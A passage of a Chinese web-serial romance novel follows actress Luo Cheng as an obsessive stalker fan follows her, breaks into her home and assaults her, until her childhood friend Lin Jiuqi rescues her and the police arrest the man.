因为报了警,乔媛媛则留在家里等警方来调查。
洛澄被邀请出席盐城卫视的奇妙夜活动。
现场有很多艺人,活动结束后回到后台,洛澄一直板着的身子终于得以放松了。
“澄姐,你还好吗,发生什么事了?”
化妆时小玲就发现洛澄今天脸色有些差,也不光脸色,心情也欠佳,除了出席活动时笑脸相迎地说了几句话,其余时间一直死气沉沉的。
想起昨晚发生的事,洛澄现在都觉得背脊发凉,看着小玲一脸担心样子,想想算了,还是别让她知道了。
“没事,没休息好而已。”
话落,一行人与洛澄她们迎面走来。
詹江已率先抬手打招呼,“嗨,美人。”
洛澄点了点头,随后拐进自己的休息室。
即使她什么都没说,詹江已还是一眼看出她不服劲,“她怎么了?”
一旁的黄谦道:“我听乔媛媛说,她们家昨晚进私生饭了。”
詹江已沉思了下,走到洛澄休息室门口敲了两声,“美人,一会儿一起去吃夜宵吧。”
洛澄恰好换完衣服,她把礼服递给小玲,打开门,刚要回绝,林久期不知道什么时候也出现在了这里。
詹江已又提了嘴,“走,吃夜宵去。”
-
50平的露天花园里种满了各式各样的花卉,栅栏围成的墙壁上挂着暖黄色的氛围灯,光晕若隐若现,浪漫又温馨。
踩着踏步石往里走,中间的木桌上已经放满了烧烤和啤酒。
等洛澄入座后,詹江已自然而然拉开板凳坐在她旁边。
范少杰见状在旁边起哄,“哟,这么难舍难分啊,磕死我了。”
洛澄和詹江已录制的那档《周五见》在前几天播出了,澄江如练这对CP圈粉无数,连范少杰都忍不住磕起来。
洛澄也是纳闷,她和林久期的互动也不少啊,怎么没人磕他俩?
詹江已举杯敬洛澄,“我亲爱的CP,喝一个?”
对方都这么说了,洛澄也不好驳他的面子,与他碰了杯。
酒上的不多,也就一件,几人很快就喝完了。
范少杰还想买,却被林久期拦下了。
他可不想再拖着几个酒鬼了。
“差不多了,别买了。”
林久期去卫生间前,又嘱咐了一遍。
“你们进展到哪一步了?”
还没踏进卫生间,就听到里面传来黄谦的声音。
林久期慢慢停下脚步,站定在了门外。
詹江已回复他:“告白了。”
黄谦:“可以啊,兄弟等着吃你喜糖。”
詹江已:“还没同意呢。”
黄谦:“那不是迟早的事。”
两人的话一字不漏入了林久期的耳。
他眸光微动,推门而入。
三人碰面打了招呼,黄谦:“久期,我们快吃上喜糖了。”
林久期抿唇一笑。
黄谦和詹江已先离开了卫生间。
等林久期折返时,詹江已正和洛澄有说有笑的,见两人谈笑风生,他眉峰不易察觉地凝了下。
吃喝的差不多了,几人也结账离开了。
车子停在了负一楼的车库。
“美人,我送你回去。”
洛澄张了张口,还来不及说话,一旁的林久期突然开口:“你不是说有事给我说吗?”
她什么时候说过了?
洛澄眨了眨眼睛,恍然,哦,刘妈妈的事。
她转而道:“詹江已你先回去吧,我找林老师有点事。”
从洛澄上了林久期的车后,两人都一言不发,车内异常安静,只有导航时不时的播报声音。
透过车窗,洛澄望着外面如流动画卷的街道,可心思却不在欣赏美景上。
她双手握紧了杏色背包的包袋,她是不是该找点话题,说些什么?
“你……”洛澄犹犹豫豫半天,鼻息间萦绕着好闻的白茉莉香味,“你这车载香薰什么牌子?”
“不太清楚。”林久期声音不瘟不火,“别人送的。”
谁会送车载香薰?
女生吗?
洛澄也只敢在心里自问自答。
她余光瞥向驾驶座的人儿,他穿着薄荷绿的衬衫,清爽又干净。
他没什么神情,目光直视着前方,夜色并不浓,侧脸在暗光下显得有些冷。
娱乐圈里好看的人数不胜数,但林久期能被称为内娱第一神颜,洛澄觉得这非常合情合理,这人好看到像是AI合成。
林久期因为长相,从小就是万众瞩目的存在,初高中那会儿,情书总是能塞满一整个抽屉。
不过这家伙臭屁的很,从来不看,甚至还当破烂卖给收废品的人,赚来的一块两块,变成了棒棒糖,最后入了她的口。
想着想着,洛澄眼神柔和不少。
真好。
你现在又在我身边了。
在洛澄撤回视线的一瞬,林久期刚好目光移来,也不知她在想些什么,嘴角弯弯的,似乎是件叫人高兴的事。
轿车行驶到居民楼下
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。
“刘妈妈给你的东西在我家里,你在楼下等我一下。”
说罢,洛澄匆匆上了楼。
电梯门打开,她边走边在背包里翻钥匙。
洛澄心情大好,可脸上那还未抹去的笑容,在看到家门口站着的人时,一瞬间消散开。
她心脏一下提到嗓子眼,整个人僵持在了原地。
那人还是穿着那件绿色格子衬衫,破旧的牛仔裤,他趴在门上,虚着眼睛盯着猫眼,试图从中窥看到一二。
安静的走道里只有钥匙扣的叮铃声,男人闻声,转头望来,男人咧着嘴笑,“洛澄,你终于回来了。”
视线相撞的一瞬,洛澄呼吸一紧,掉头就跑。
电梯还停留在她这一层,洛澄慌忙中跑进去,发颤的手指一刻也不敢停,拼命摁着关门键。
在电梯门合上的那一刹那,恰逢视线中,是一张诡异的笑脸。
好在门及时关上了,洛澄周身止不住地战栗,两只眼睛死死盯着楼层显示器。
在数字逐一下降,直到一楼时,洛澄第一时间冲了出去。
洛澄扫了眼旁边的电梯也在下降,已经到二楼了。
“叮——”
洛澄脑袋轰地一下,她以最快的速度往门口跑。
身后是男人渗人的笑声。
林久期坐在驾驶座上闭目养神,听到一阵急促的脚步声,他抬眸望去,只见洛澄张皇失措跑来。
他迅速下了车。
那句怎么了还没问出口,视线所及之处闯入一个男人的身影,他紧随其后。
林久期拉过洛澄护在身后,清楚感受到她拉着他胳膊的双手抖的不行,他看向男人的眼底划过一抹凉意。
男人没有再进一步上前,他啧了声,掉头离开。
洛澄呼了口气,脑袋上上方是林久期清润的声音,“私生饭?”
今天听黄谦提过一嘴。
洛澄声音很小,还没从惊恐中走出来,“嗯。”
以防那个私生饭又潜伏在家门口,林久期陪着洛澄上了楼。
洛澄回房拿了刘妈妈让转交给林久期的东西,“今天谢谢你,明天有空吗,我请你吃饭。”
“不用了,举手之劳。”林久期站在家门口环顾了下四周,确认只有他一人,“早点休息,晚安。”
-
林久期回到家时已是深夜。
提着的东西他随手放置在了茶几上,屋内的灯没有开,只有窗外清冷的月光。
林久期端坐在沙发上,淡淡的光泽流动在他脸庞上,他思绪万千。
洛澄和詹江已。
私生饭。
这一桩桩一件件事情,似乎都在牵扯着他的情绪。
回想起四月份他去希望孤儿院时,院长刘妈妈说的话。
“久期,你和小洛怎么样了?那孩子这几年经常来询问你的消息,她一直在找你。”
林久期拿出手机,点开和洛澄的微信,聊天记录最后一句话还停留在洛澄发的消息上。
【刘妈妈让我转交东西给你。】
【不好意思,最近比较忙。】
【那你什么时候有时间你跟我说。】
林久期垂着眸,点开洛澄的微信头像,进入到了朋友圈的界面。
她的朋友圈是半年可见。
他从上至下缓缓翻阅着,一条一条点进去看。
内容基本都是生活方面的,有风景,有大橘猫,还有自拍照。
林久期点进自拍照的那条朋友圈,文案写着:“今天先长这样,明天长什么样我再想想办法。”
她黑长直的头发被随意扎成低马尾,手里端着盘草莓,笑容灿若朝霞。
林久期脑海里不由浮现出少女明媚皓齿的模样。
朋友圈最下面的那条是今年一月五日发的,只有一行字,写着——
【签约成功,离他更近一步。】
林久期眉头拧了下。
他?
是谁?
他退回到聊天框,随后,骨节分明的手指在输入框里打下几个字。
26. 第26章
“媛媛,我们搬家吧。”
洛澄洗完漱,第一时间就跟乔媛媛提了这事。
那个男人接二连三找上门,再继续住下去,指不定会发生什么事情,太危险了,不如趁早搬走。
乔媛媛躺在沙发上看电视,听闻后奇怪道:“啊?为什么?”
洛澄想了想,也没把今天男人在家门口的事情说出去,免得乔媛媛害怕,只说了三个字,“不安全。”
乔媛媛打开手机里的租房软件,“行,我这几天就找找合适的房子。”
时间不早了,明天还要去剧组。
洛澄回到房间关灯睡觉。
她刚阖眼不到一分钟的时间,枕头边的手机响起消息提示音。
这大晚上的谁还发信息?
担心是工作上的事,洛澄还是抓起手机,眯着眼看了看。
【明天晚上一起吃饭吧。】
“?!”
洛澄瞪大了眼睛,难以置信看着这条微信消息,她又看向上方的备注。
洛澄一个没忍住,叫出了声。
林久期?!
啊?!
“怎么了怎么了?!”
自从那个私生饭莫名潜入家里后,乔媛媛每天疑神疑鬼的,听到尖叫声,乔媛媛立刻抄起晾衣杆就冲进洛澄的房间。
但眼看房屋里只有她一人,才放下心,“你吓死我了,大半夜的叫什么啊?”
看乔媛媛的架势,像是来拼命的,洛澄噗嗤一声笑出来。
乔媛媛没好气道:“你还笑。”
洛澄摆了摆手,“对不住,让你担心了。”
乔媛媛把晾衣杆放靠在门边,扑到洛澄床上躺着,“说,什么事这么激动?”
洛澄直接把手机给乔媛媛看。
她什么都没说,但什么都说了。
-
洛澄和林久期约定的时间是傍晚六点。
洛澄本想忙完工作后回家好好捯饬一番,但从剧组出来时已经是五点过了,来不及了,她只好先坐车赶去约好的地方。
小玲看她今天心情不错,也想沾沾喜气,“澄姐,什么事这么高兴呀?”
“有吗?”洛澄没有回答她,反问道:“你看我现在这样可以吗?”
洛澄在剧组卸了妆出来的,这会儿在车上用气垫简单的上了层粉,小玲凑近端详许久,竖起大拇指,“姐,天生丽质,美极了。”
也不知她这话是不是恭维,洛澄总觉得自己今天的皮肤状态不好,她有些忧虑道:“你再仔细看看,我这黑眼圈是不是很重?”
小玲虚着眼睛认真瞧了好一会儿,实在是没看出洛澄所谓的黑眼圈在哪里,“姐,你这也没黑眼圈啊。”
“真的假的。”
洛澄半信半疑,自己拿着镜子左看看右看看。
小玲拍着胸脯保证,“真的,骗你是小狗。”
小玲觉着自己说的也是事实。
洛澄平常很少化妆,就算化也是淡妆,她底子好,皮肤清透无暇,五官柔美,根本不需要过多修饰,也足以清丽脱俗。
尤其是那双杏眼,灵动的宛如小鹿的眼睛。
洛澄下车前又补了点口红,随即戴上口罩,走进餐厅。
跟服务员报了房号,一路跟着上了天台。
偌大的天台只有林久期一人独坐在那,今儿天气有些凉,他穿着浅蓝色的夹克外套,脖颈上戴着复古耳机。
“久等了。”
洛澄入座在他对面的位子。
林久期的目光从远处风景上移开,笑容淡若清风,“不久,我也刚到。”
没过多久,服务员便端着红酒和美食上来了。
精致的摆盘,诱人的香气,洛澄切下一块牛排入口,肉质紧实醇厚甘滑,她赞不绝口,“这家店不错,成功被安利。”
“你喜欢就好。”
洛澄看向林久期,他清俊的面容上眼睫低垂,神色温和,举止言谈间尽是温文尔雅。
她其时有些不明白,明明昨晚还拒绝和她一同吃饭,怎么突然间又会主动邀请她?给她一种醉翁之意不在酒的感觉。
林久期抬眸一瞬,对上洛澄略带疑惑的目光,他唤了声,“洛澄。”
他望着她,温声道:“我们以前是什么关系?”
-
洛澄摁开客厅的灯,脱下外套随手搭在门口的衣架上,缓步走到沙发前瘫坐下。
洛澄打开手机里的□□软件,点进收藏夹,里面有且仅有一条保存于2013年的十八秒语音,她点击播放——
“姌姌,生日快乐,还有,我喜欢你,你愿意做我的女朋友吗?”
洛澄又点进唯一一个置顶的聊天框,里面都是她近些年来一人的自言自语。
回忆铺天盖地席卷而来。
和林久期认识时,他还没有手机,直到高一,他作为练习生出道——
“姌姌。”
枝繁叶茂的大树树干上,洛澄翘着腿,躺在上面小憩,似乎听见有人在喊自己,她睁开眼,朝下望去。
林久期穿着藏青色的校服,仰着头,阳光照在绿叶上的光斑投落在他白净的脸上。
洛澄偏头看着他,声音带着还没睡醒的软糯,“什么好消息?”
林久期手里握着某样东西,晃了晃,深褐色的眼眸清澈明亮,“我有手机了。”
闻言,洛澄从树上纵身一跃。
林久期急忙上前扶她,生怕她磕着碰着,“小心点。”
洛澄早就习以为常,身子站稳后,她从林久期手里拿过手机,翻来覆去看着,“可以啊,这样咱俩以后联系就方便多了。”
说罢,洛澄掏出自己的手机,“电话多少?”
林久期报了一串数字后,洛澄在手机按键上迅速输入,保存通讯录,又问:“手机密码多少?”
“你的生日。”
洛澄瞥了眼少年,他身形高挑,站在旁边高了她一个头,视线往上,他嘴角噙着浅笑。
她问:“有□□号没,加个好友。”
“有的,我昨天刚注册。”
林久期说完,有些犹豫不决,过了几秒又道:“姌姌,我这算是工作机,因为保密协议,经纪人不让我加工作以外的好友。”
见她不语,林久期着急补充:“你等我,我会攒钱再买一个只属于我自己的手机。”
洛澄也懂,毕竟现在和以前不一样了,他现在作为明星,很多情况都身不由己,她能理解。
金灿灿的阳光洒在他的乌发上,看着柔和又松软,加上他极其认真的表情,洛澄忍不住抬手在他脑袋上揉了一把,“行,等你。”
林久期听闻,扬唇一笑,“好。”
……
后来,林久期说到做到,仅用了短短一个月的时间,就自己攒钱偷偷买了一个二手手机。
手机到手的那一刻,他就和洛澄加了□□好友。
因为是背着经纪人买的,所以这个□□号也只有洛澄一人知晓。
只是这个□□号
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,从四年前开始,便一直处于离线状态。
【洛澄,我们以前是什么关系?】
洛澄想起方才吃饭时,林久期询问的话。
是什么关系呢?
同学,好友。
是暗恋,是心心念念。
听到林久期的话时,她有些僵住了。
她不知道该怎么和他说,那些过往的回忆现在只有她一人记得,那些还未来得及说出口的情愫也只有她一人存留。
说是朋友吗?
她不甘心。
说是情侣吗?
不是。
就差一点。
洛澄思考了很久。
“是,特别的人。”
-
洛澄接到某品牌的商业广告,第二天从剧组出来后就赶飞机前往海滨市。
即使是晚上,机场里也围了不少来接机的粉丝,小玲本想拦着的,可粉丝又是递信又是送礼物,实在热情,洛澄收了他们的信后,又和粉丝拍了不少合照。
到酒店时已经是晚上十点过了。
洛澄摘下口罩扔在房间的桌上,又换了个新的,和小玲出了酒店。
刚来的一路上看到不少夜市摊,洛澄第一次来海滨,这个靠海的南方城市海鲜最为丰富,两人找了家店,各种海鲜几乎都点了一遍。
两人吃到几乎快要走不动道才离开。
怕太撑睡不着,又去药店买了健胃消食片。
“澄姐,早点休息,我明早来叫你。”
小玲就住在隔壁房间,离开后,洛澄洗了个热水澡,全部收拾完后就躺上床,P着刚才吃海鲜拍的照片。
随便调了下滤镜参数,发了调朋友圈。
【海鲜脑袋,爱惨了!】
发完后,洛澄把手机放在一旁,刚准备关灯睡觉,视线掠过窗边下的桌子,桌上只有两瓶矿泉水。
口罩,不见了。
洛澄迅速起身去反锁门,又从旁边的衣柜里拿出衣架卡在门把手上,全部弄完后才放心睡觉。
第二天小玲还没来喊,洛澄早早就醒了。
这一觉睡的格外不踏实,一点风吹草动都能惊醒。
洛澄换了身衣服,临走前,她把整理好的被子掀开,一瓶喝完的矿泉水瓶,她横着放倒在桌子上,又拿出一个口罩放在床头柜。
环顾了一圈,她蹲下身掀开酒店的暗红色地毯,在下面放了一块小饼干。
小玲在门口候着,看着洛澄一系列的行为,颇为纳闷,“澄姐,你在干什么呢?”
洛澄站起身,“没事,走吧。”
来到一楼大厅,洛澄找上前台,“1208的房间不用打扫。”
-
摄影棚里,根据导演的指挥,洛澄在镜头前拿着代言的商品,摆着不同的动作。
导演连连称赞:“好,很好,洛老师的表现力太棒了!”
拍摄一上午就结束了。
在去下一个通告前,洛澄先去了一趟卫生间。
大楼的走廊里空旷无旁人,可洛澄却隐约听到一道不属于自己的脚步声。
在转过拐外处进入女厕所时,她下意识用余光去留意身后,一个穿着黑色衣服的男人在后面不远处。
洛澄加快脚步,躲进卫生间的隔间内。
她迅速拿出手机给小玲发去消息,脚步声愈来愈清晰。
那脚步声近到似乎就在女厕所的门口,一步一步的,隔间门下的缝隙。
突然出现一片阴影。
27. 第27章
洛澄连忙捂住自己险些叫出声的嘴,她屏住呼吸,细汗从额头流下。
“澄姐!”
一道喊声从外面传来。
洛澄紧盯着门缝,只见那片阴影忽然消失,接着就是几道匆忙的脚步声。
“澄姐,你在里面吗?”
听到小玲的声音就在卫生间里,洛澄打开门走出来,心脏还在狂跳不已。
小玲看着洛澄惊魂未定的模样,担忧道:“澄姐你没事吧?你突然让我来卫生间,我还以为你怎么了。”
洛澄没有细说,她舔了舔干燥的嘴唇,“没事了,走吧。”
下午的通告也结束的很早,洛澄和小玲在外面吃了饭才回的酒店。
洛澄进屋的第一时间就是去掀进门位置的地毯,下面的饼干已经成了一片碎屑。
洛澄咬咬牙,她张望着整个房间,还是和早上一样,没有人来收拾过垃圾。
但不同的是,床头柜的口罩不见了。
“……”
有人进过房间。
洛澄立马跑去找隔壁的小玲,她正在里面洗漱,听到洛澄来说要换酒店,很不解,但还是收拾东西照做。
洛澄特意找了一家离原先那家比较远的酒店,再去之前,又让司机故意绕了一个圈子后才抵达。
折腾半天,洛澄已经精疲力尽,来到新酒店的房间,马上从里面上了插削。
深夜。
长空如墨。
寂静中,洛澄迷迷糊糊听到门口有把手开门的声音,她条件反射坐起身。
不是幻听。
洛澄立即给酒店前台打了电话,等安保人员来时,门口鬼鬼祟祟的人也不见了踪影。
小玲也被这件事吓着了,“澄姐,这么严重的事你怎么不告诉我呀!也太危险了!”
洛澄不语。
她明明都换酒店了,那人到底是怎么跟来的?
生怕男人再次出现,小玲在洛澄的房间里待了一晚上。
好在,这晚平静无波。
第二天回盐城的候机厅。
小玲一直在捣鼓手机,小玲表示为了防止特殊情况没办法报警,自己在设置紧急呼叫。
听了她的话,洛澄也拿出手机,在紧急联系人里添加了两个电话。
回到盐城已经是下午了。
明明是周末,家里却空无一人。
奇怪,这个时间,乔媛媛不是应该在家里奋笔疾书吗?
【去哪了?】
洛澄发去的消息很快就得了回复。
【奶奶过生日,回家啦,不用等我吃饭了,我今天不回来。】
洛澄也没精力做饭,随便点了份外卖凑合着吃。
她坐在茶几前,筛选着乔媛媛发来的几个房源信息,看来看去,都不大合适。
乔媛媛:【太难找了,好多房东都不让养宠物。】
大橘猫跳到沙发上,弓着背,在洛澄旁边蹭来蹭去,她抬手摸了摸。
【没事,我也找找看。】
洛澄吃完饭后躺在沙发上,拿着手机看着租房软件,看到有比较合适的,就转发给乔媛媛。
有些看累了,洛澄眼皮越来越重,最后熟睡了过去。
残阳被夜色吞噬,星光电点,夜风呼啸。
“滴,滴——”
门口传来输入密码的声音。
随后,房门被人从外推开。
洛澄躺在沙发上翻了个身,呢喃着:“媛媛,冰箱里有买的雪糕。”
对方没说话。
静默了半晌,洛澄微微睁开眼睛,就在醒来的瞬间,她瞌睡全无。
客厅内很昏暗,男人站在沙发前,身子有一半匿在黑暗中,他的脸庞在微笑中变得扭曲,还有那双着迷的双眼。
“洛澄。”
-
“久期,你又不去喝酒啊?”
范少杰趴在林久期的驾驶座车窗沿上,“这么早回家干嘛,去坐坐。”
“你们去吧。”
林久期朝范少杰身后的一行人挥了挥手,“玩得开心,我有事先走了。”
劝说无果,范少杰识趣道:“行吧行吧。”
林久期发动车子,一辆银色的布加迪消失在视野中。
轻快的音乐在车内回响,林久期也忍不住哼着小曲。
不一会儿,音乐戛然而止,取而代之的是来电提示,他扫了眼,是串陌生号码。
他摁下接听。
里面却传来机械般的声音:“我遇到紧急状况,请尽快帮助我,我当前可能不便接听电话,播报结束后将自动挂断……”①
听着里面的语录,林久期愣了三秒。
什么情况?
电话挂断后,紧接着他就收到了一条短信。
林久期放慢车速,拿起手机点开一看,是一条求助短信,里面写有发送人的地址。
这位置十分眼熟。
下一秒,林久期眉头一蹙,打转方向盘,迅速掉头。
-
“洛澄。”
洛澄第一时间抓起旁边的手机,从沙发上起来,退到一旁与男人保持距离。
看着惊恐的人儿,男人解释着:“你别害怕,我不会伤害你的。”
洛澄手背在身后,不断摁着电源键,她深呼吸了一口气,“是吗?那尾随我,导致我车祸的人,难道不是你吗?”
面对质疑,男人慌了,“那是个意外!”
他上前一步,“你放心,以后肯定不会发生这种事了。”
“你别过来!”洛澄绕到沙发背后,警惕地盯着男人,“你三番五次的跟踪我,到底想干什么?”
“哦,对。”男人从衣服包里掏出一个首饰盒,打开后,里面放着一枚银色的戒指,“我想和你结婚。”
“……”
疯了!
男人喋喋不休地说着,他幻想的那些婚后生活,仿佛已经尘埃落定。
“日期我看好了,就在下个月,我们可以先去领证再办婚礼,婚礼结束后我们可以去海边度假,你不是喜欢吃海鲜吗,就去海滨吧,过段时间机票要涨价了,我们得提前订票……”
洛澄听着他说的越来越离谱,从结婚,到度蜜月,甚至还到了如果有小孩应该在哪里买学区房。
疯了,真是疯了!
“对不起啊,我是不是话太多了?以后的事还得我们俩一起商量。”男人几个跨步上前,洛澄来不及躲,他一把拉住她的手腕,“来,我给你戴戒指。”
洛澄想甩开他,可他力道实在太大,她只好手死死握拳。
男人也不恼,一边用力掰着她的手,一边轻声细语道:“明天我就带你去试婚纱,你一定是这世界上最漂亮的新娘。”
挣扎中洛澄的手已经被扯红了,她用劲全力从男人手里挣脱开,踉跄着往门口跑。
男人很快就追了上来,拽住她的胳膊拖回客厅,他用力一甩,洛澄被摔坐在沙发上。
他声音很轻柔,仿佛这一切暴力行为都不是出自他手,“还没问你喜欢什么样的婚礼,中式的,还是西式的?”
“我根本就不认识你!”
洛澄从沙发上爬起来,男人双手嵌住她的肩膀,
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又将她摁坐回了沙发上,“我叫赵岩,你该认识我。”
洛澄喘着粗气,“我看你就是个疯子!”
赵岩脸色一变,他下颚线越绷越紧,语气是平静的,但话底藏着前所未有的凶恶,“你还没告诉我,你喜欢中式婚礼,还是西式婚礼?”
赵岩的手越来越使劲,洛澄的肩膀被他捏得生疼,她倒吸了口凉气,咬着牙,“我都不喜欢。”
“为什么?”
“因为我就不会跟你结婚!”
“嘶——”
赵岩抓着洛澄肩膀的衣服用力一扯,她外面穿着的冰丝衬衫霎时间被撕烂,露出里面那件白色的吊带和光滑的胳膊。
洛澄惊叫出声,“滚开!”
她用劲全身力气用脚踹在赵岩的身上,可他像是没有痛觉一样,依然死死抓着她不放手。
赵岩忽然把她摁倒在沙发上,整个人压在她的身上,“洛澄,你这样真美。”
“别碰我!”
泪水涌进眼眶,洛澄叫喊声越来越大,嗓子也变得沙哑。
赵岩贪婪的在她脸上嗅着,他陶醉在这淡淡的清香中。
而就在这时,门口传来一阵急促的敲门声,“洛澄!洛澄!”
就在赵岩出神的几秒钟里,洛澄一把推开他,跌跌撞撞跑向门口。
“洛……”
林久期的话音顿住,房门被人从里打开,他瞳孔紧锁,洛澄披散着头发,衣衫不整的出现在他眼前,被撕碎的衬衫还有一半挂在她单薄的身上。
看到他,洛澄睫毛再也承受不住泪水的分量,顺着脸颊无声滑落而下。
林久期的心顷刻间揪成了一团,他连忙脱下外套披在她身上。
而后,林久期迈进家门,昔日那张柔情四溢的脸变得面无表情,眸子中凝着冰霜,注视着客厅内的男人。
赵岩不悦地哼了声,“林久期,又是你。”
赵岩没打算和他纠缠,他整理了下自己的衣服,准备往外走。
在与林久期擦肩而过的同时,林久期伸手一把抓住赵岩的胳膊,他轻轻扬唇一笑,但眼神中没有半点温度,“来都来了。”
“你说什……”
赵岩的话都还来不及说出口,一记重拳不偏不依捶在了他的脸上。
赵岩一个踉跄差点摔倒在地上,他眼冒金星,一阵耳鸣,都没有反应的机会,林久期抬脚用力踹在他肚子上。
赵岩跪在地上,不受控地干呕着。
还没完,林久期站在他跟前,抓着他的头发用力向上一扯,迫使他面容朝上,接着,又是一拳正中面心。
赵岩根本没有还手的余地,他倒在地上吃痛地叫唤着。
林久期揉了揉打酸的手指关节,目光望向在门口看傻眼的洛澄。
她认识林久期这么久,这还是第一次,看到林久期打人。
在她回过神来时,林久期已经走到了她面前。
慎人的冷意褪去,恢复了以往的温和,他眉心浅浅皱着,似染着些许担心,“有没有哪里受伤?”
洛澄怔默片刻,摇了摇头。
楼下传来警车的鸣笛声。
很快,几位身穿制服的警察就赶到了楼上。
男士外套穿在洛澄的身上,像极了小孩偷穿大人的衣服,林久期给她拉上拉链,随即转过身与警察说:“您好,我报的警。”
了解大致情况后,为首的警官指着屋内瘫倒在地上,被揍的鼻青脸肿,直冒鼻血的赵岩,“你是说,他一进门的时候,就是这副样子?”
林久期面不改色心不跳,“是的。”
28. 第28章
“……”
警官咳嗽了两声,和其他警察对视几眼,虽然大家都不信,但毕竟做出这等龌龊的事情,每个人都恨不得上前给他两脚。
但又碍于身份,既然人家都这么说了,那他们也不会点穿。
警官使了个眼色,旁边一位警察立马上前给赵岩套上手铐,压着他出了门。
警官:“还得麻烦你们跟我们走一趟,去局里做个笔录。”
-
去到盐城市公安局,洛澄把这段时间发生的事情都一五一十告诉了警官,也在警官的调查下,赵岩就是当初造事逃逸的人,而他们也在洛澄的车里检查到了跟踪器。
赵岩会依法处置。
洛澄也算是终于松了口气,了了一桩心事。
林久期开车送洛澄回了家,他们前脚刚到,后脚,乔媛媛就着急忙慌地回来了。
“小洛澄你没事吧?!”乔媛媛急得眼泪水打转,“都怪我,我不该留你一个人在家里的。”
乔媛媛正在老家给奶奶过生日,突然就收到了洛澄的紧急呼叫,当晚连夜开车赶回盐城,也不知道闯了多少个红绿灯。
洛澄抬手攥着纸巾擦拭着她满头大汗,“已经没事了。”
不用多说,乔媛媛都猜到肯定是那个私生饭又来找洛澄了,又见洛澄身上穿着男士外套,她知道八成是发生了不好的事情,洛澄不说,她也不问,免得说出来惹人伤心。
“我们赶紧搬家吧,这里太危险了!”
就算赵岩会伏法,但是地址已经暴露,有第一个赵岩就肯定会有第二个。
洛澄自然也是明白,可房子还没有找到,这说要搬也不现实,“好,找到合适的房子就搬。”
乔媛媛:“我们先去酒店住吧,再住下去我真的害怕你有什么事。”
听着两人的交谈,林久期缓缓开口:“我在浣林小区有间空房,你们不介意的话,可以搬过去住。”
浣林小区就在市区,交通出行也方便,乔媛媛一听眼都亮了,“真的吗?那太好了!”
市区的房价都比较偏贵,考虑到资金问题,洛澄有些纠结,没有说话。
林久期看了她一眼,“租金就按照你们现在这个房子的价格来收就好。”
闻言,洛澄抬眼望向他,他眉目含笑道:“毕竟也是空房子,不如租出去赚些外快。”
“那就这么说定了啊。”乔媛媛立刻答应下来,转头跟洛澄说:“小洛澄,我们这就开始收拾东西,明天就搬家。”
洛澄以为自己听错了,现在收东西,明天搬家?
“现在已经两点了。”
“我们也没多少东西,随便收收,明天一早我就喊人来帮忙搬。”
乔媛媛说着就回了自己的屋子,事不宜迟就收起东西来。
林久期:“那你们收着,我先回去了。”
“等等。”洛澄喊住他,“今天,谢谢你。”
洛澄从来没想过自己居然会有这么狼狈的一面被他看见,可今天若不是因为林久期,她恐怕想死的心都有了。
“你的衣服,我洗干净还你。”
“好,晚安。”
林久期定了定神,又补充一句:“有事联系我。”
洛澄目光微动,“好。”
林久期走到电梯口,洛澄还站在门外望着他,他冲着她微微一笑,挥了挥手,旋即进入电梯。
洛澄锁好房门回到屋内,路过乔媛媛房间时,她正在里面抱怨着:“这从哪里开始下手啊,我干嘛要买这么多衣服啊!”
洛澄笑着摇了摇头,她没有收东西,而是去了浴室。
花洒的水不断冲洗着她的身体,一想到刚才赵岩对她做的事情,她就忍不住作呕。
也不知道洗了多久,洛澄洗到乔媛媛都快收拾完了,她才出来。
乔媛媛在洛澄房门口徘徊了好一会儿,她才敲门进去。
“小洛澄,你收拾的怎么样啦?”
洛澄背对着房门,听到声音后她快速抹掉眼角的泪,随后装作什么事都没发生的模样,笑道:“太多了,还没开始收。”
乔媛媛眼神暗了暗,她知道,洛澄自尊心强,什么事都喜欢自己强撑着。
她不喜欢被人安慰,她好面子。
乔媛媛也装作没看出来的样,笑嘻嘻道:“来,让姐帮你。”
本以为东西不多,可两个女孩子,竟收出了二十大包的东西。
从凌晨两点到第二天早上七点才全部收完。
乔媛媛仿佛被吸走了真气,倒在沙发上一动不动,“天爷嘞,累死我了。”
黄谦和詹江已到时,都看呆了。
两个人瞪目结舌的,女孩子为什么能有这么多东西?!
两人是费了九牛二虎之力,才把所有东西搬上车,一趟又一趟拉去新家。
洛澄买好了饮料递给二人,“辛苦了。”
詹江已扯了扯嘴角,“不辛苦,命苦。”
黄谦喝着饮料打量着她们的新住所,房屋很大,复式精装,还是一梯一户,“你们这房租不便宜吧。”
“跟刚才那边差不多,是林……”
洛澄拍了下乔媛媛打断了她的话,洛澄使了个眼色,乔媛媛立马会意,“是临时决定搬来的,上一个租客因为工作原因提前退租了,才被我们捡了漏。”
乔媛媛这谎话真是信手沾来,洛澄听得都差点信了。
怕他们深究,乔媛媛转移话题,“走,请你们吃饭去。”
她想起什么,话锋又转,“黄谦,我不是记得你说,你有工作上的事情要跟我探讨吗?”
“我?工作?”
黄谦听得一愣一愣的,他什么时候说过了?
不等他多说,乔媛媛拉着他就出了门,“你们俩自己去吃饭啊,我们有事先走了。”
房屋内留下洛澄和詹江已面面相觑。
洛澄:“想吃什么?”
“既然洛老师请客,那我就不客气了。”詹江已休息够了,站起来,“那就火锅吧,洛老师。”
洛澄点头,“行,我刚好知道一家味道很正宗的火锅店。”
詹江已附和道:“我刚好开了车。”
两人相视一笑。
詹江已:“走,出发。”
-
跑车直达火锅店门口。
红色的法拉利汇聚了所有人的视线,众目睽睽下,洛澄和詹江已下了车。
詹江已没有任何遮掩,一进门就成了目光的焦点。
不知道是谁,破了音喊了声:“是詹江已!”
詹江已听见后还朝说话那人挥手打招呼。
每每跟詹江已走在一起,洛澄都觉得自己脸上的口罩是多余的。
旁边有人也把她给认出来了。
“詹江已旁边的人是洛澄吗?”
“是吧,看着像!”
“肯定是啊,能和詹江已形影不离的除了洛澄还能是谁。”
“……”
她怎么不知道她和詹江已形影不离了?
在所有人交头接耳中,洛澄和詹江已进了包厢。
在服务员上菜,开关门的空隙中,洛澄清楚看到门口有不少围观的群众。
詹江已瞧见了,起身走到门口。
“各位,我们今天有缘,在火锅店遇见,你们今天所有的消费由我买单。”
詹江已合上包厢门,对着门口的粉丝说着,众人一听,欢呼声不断。
“不过,我有一个小小的要求。”詹江已小声道:“今天
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是我和某人的约会,她喜欢低调,所以希望大家能帮帮我,假装没有看见我们,可以吗?”
“可以可以。”
“没问题!”
至于詹江已口中这位“某人”是谁,大家也都没有过多询问,懂的都懂。
一直在包房里的洛澄根本听不清外面在说些什么,只是忽然听见欢呼呐喊,然后没过多久詹江已就回来了。
而外面的围观者也都散了。
洛澄有些好奇,“你都跟他们说了什么?”
詹江已挑眉,神神秘秘的,“秘密。”
-
酒吧闪烁的灯光让人眼神迷离。
